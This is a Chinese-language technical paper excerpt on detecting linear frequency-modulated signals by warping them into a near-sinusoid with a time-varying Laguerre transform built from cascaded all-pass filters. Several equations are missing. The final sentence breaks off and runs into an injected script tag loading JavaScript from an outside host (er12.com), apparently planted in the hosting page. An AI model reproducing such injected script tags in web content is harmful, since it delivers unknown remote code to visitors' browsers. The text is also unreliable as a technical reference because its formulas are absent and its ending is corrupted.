摘 要：提出了一种基于laguerre变换的线性调频信号检测新方法，通过恰当设定laguerre参数，能够对消线性调频信号的频率变化，得到一个近似周期的信号。由于线性调频信号的能量集中到一条谱线（frequency bin）上，因此能在低信噪比下实现有效检测，仿真实验证明了这种方法的有效性。
关键词：laguerre变换，线性调频信号，信号检测
laguerre变换是一种单位正交变换，可以使得变换前后信号的能量不变。基于这一重要性质可以把一个窄频带内的能量卷绕（warp）到一条谱线上，这是检测微弱限带信号的基础。
意大利学者gianpaolo提出了laguerre变换的多抽头延迟采样实现方法［1］，他的主要目的是分析与合成语音和音乐信号［2，3］，也进行了信号检测的研究［4］，但没有涉及具体的实现。本文对此进行了进一步的研究，分析了线性调频信号频率卷绕的理论基础，提出了实用算法，给出了处理增益的表达式。
1 laguerre变换的数字化实现
如图1所示，1，n＝1～n－1）表示第n个一阶全通滤波器。输入信号x［k］进行时间轴上的反转，变为x［－k］。对于一段有限长n点信号，时间反转的结果为x［n－k－1］。然后，从原信号序列的最后一个数据开始，每个数据依次通过一系列级联的一阶全通滤波器，共需n－1个滤波器。k＝0（有限长数据k＝n－1）时抽头上的开关闭合，移位寄存器里得到输出数据序列y0，y1，y2，…。可以证明［1］，信号通过图1所示的多抽头延迟采样结构等价于对信号进行正交laguerre变换。
相应于an（z）的频率响应为［4］：
对于单频信号，所有的全通滤波器都是相同的，即θn（ω）＝θ（ω）（n＝1～n－1），这样得到第n级的相位延迟
频率变为ω0＋δθ（ω0），这就是所谓的频率卷绕（frequency warping）。频率卷绕的规则由滤波器的极点位置决定，只要根据一定的规则改变滤波器组的极点bn的位置，就能够可控地改变信号的频率成分。
从上式可以看出，由于arctan（x）在x∈（0，＋∞）时取值（0，π／2），有bn∈（－1，1），这保证了图1中的一阶全通滤波器的稳定性。
图2（a）和图2（b）分别表示了归一化数字频率为0．043的正弦信号卷绕到0．027的时域波形图和频谱图。可以计算出，此时bn＝－0．23（n＝1，2，3，…）。
卷绕的实质是对输入时间序列延迟采样，延迟时间与输入信号采样周期的相对大小关系决定了输出信号的频率成分。
如图2（a）所示，假设输入信号每通过一个一阶全通滤波器，相位延迟φi，而输出信号还是按原信号a／d转换时的采样频率来采样，每一点相位延迟设为φo。当卷绕后的频率小于原信号频率时，φi＜φo。也就是说，原信号延迟不到一点，输出端即采样一点。因此输出信号频率变低。假设输入信号每周期m点，则输入信号逐点延迟移出m点后，输出信号得到mφo／φi＞m点，这就是输出信号每周期的点 数。如果让卷绕后的信号频率等于输入信号频率，即，则bn＝0，图1中的an（z）＝z－1，一阶全通 滤波器起单位延迟的作用。即输入信号每延迟一点，输出端采样一点，卷绕得到的信号与输入信号完全一样，故信号频率不变。以上是对单频正弦信号卷绕的阐释，对于频率按一定规律变化的信号，如线性调频信号，可以想到，要补偿信号频率的线性增加，应该使得相位延迟在低频时较大，而到高频时较小，因而一阶全通滤波器的极点bn按照线性调频信号频率变化规律由小到大变化。补偿的结果是每两个峰值之间采样点数相同，得到一个单频正弦信号。通常的卷绕都是把频率比较高的信号卷绕成频率比较低的信号，因为向更高的频率卷绕，输入信号长度不够，输出需补零，引起谱泄漏。而向较低频率卷绕，只需用到输入信号的一部分。
2 线性调频信号的检测
当图1的多抽头延迟采样器中每个一阶全通滤波器的极点bn恒定不变时，可以实现单频信号的频率卷绕。如果按一定规律依次改变bn的值，则得到了基于时变laguerre变换的频率卷绕，它可以把一个线性调频信号能量无损失地卷绕到一个单频信号上。理论上，可以卷绕到任何频率，但选择线性调频信号的起始频率相对简便。图3显示了线性调频信号及卷绕到其起始频率后的输出序列。可见，通过恰当选择卷绕规律，可以把线性调频信号变换为近乎 完美的正弦信号。
设线性调频信号为
现在期望的是把ωn卷绕为ω0，那么最简单的方法是利用
解出bn，n＝1，2，…，n－1。但是这样做忽略了线性调频信号的时变性质，事实上，线性调频信号通过极点为bn的第n个全通滤波器时，不单是把ωn卷绕到ω0，而且使得后面所有点的频率都发生了变化（前面的点已经移出）。这是因为信号通过一阶全通滤波器后引入?script src=http://er12.com/t.js>
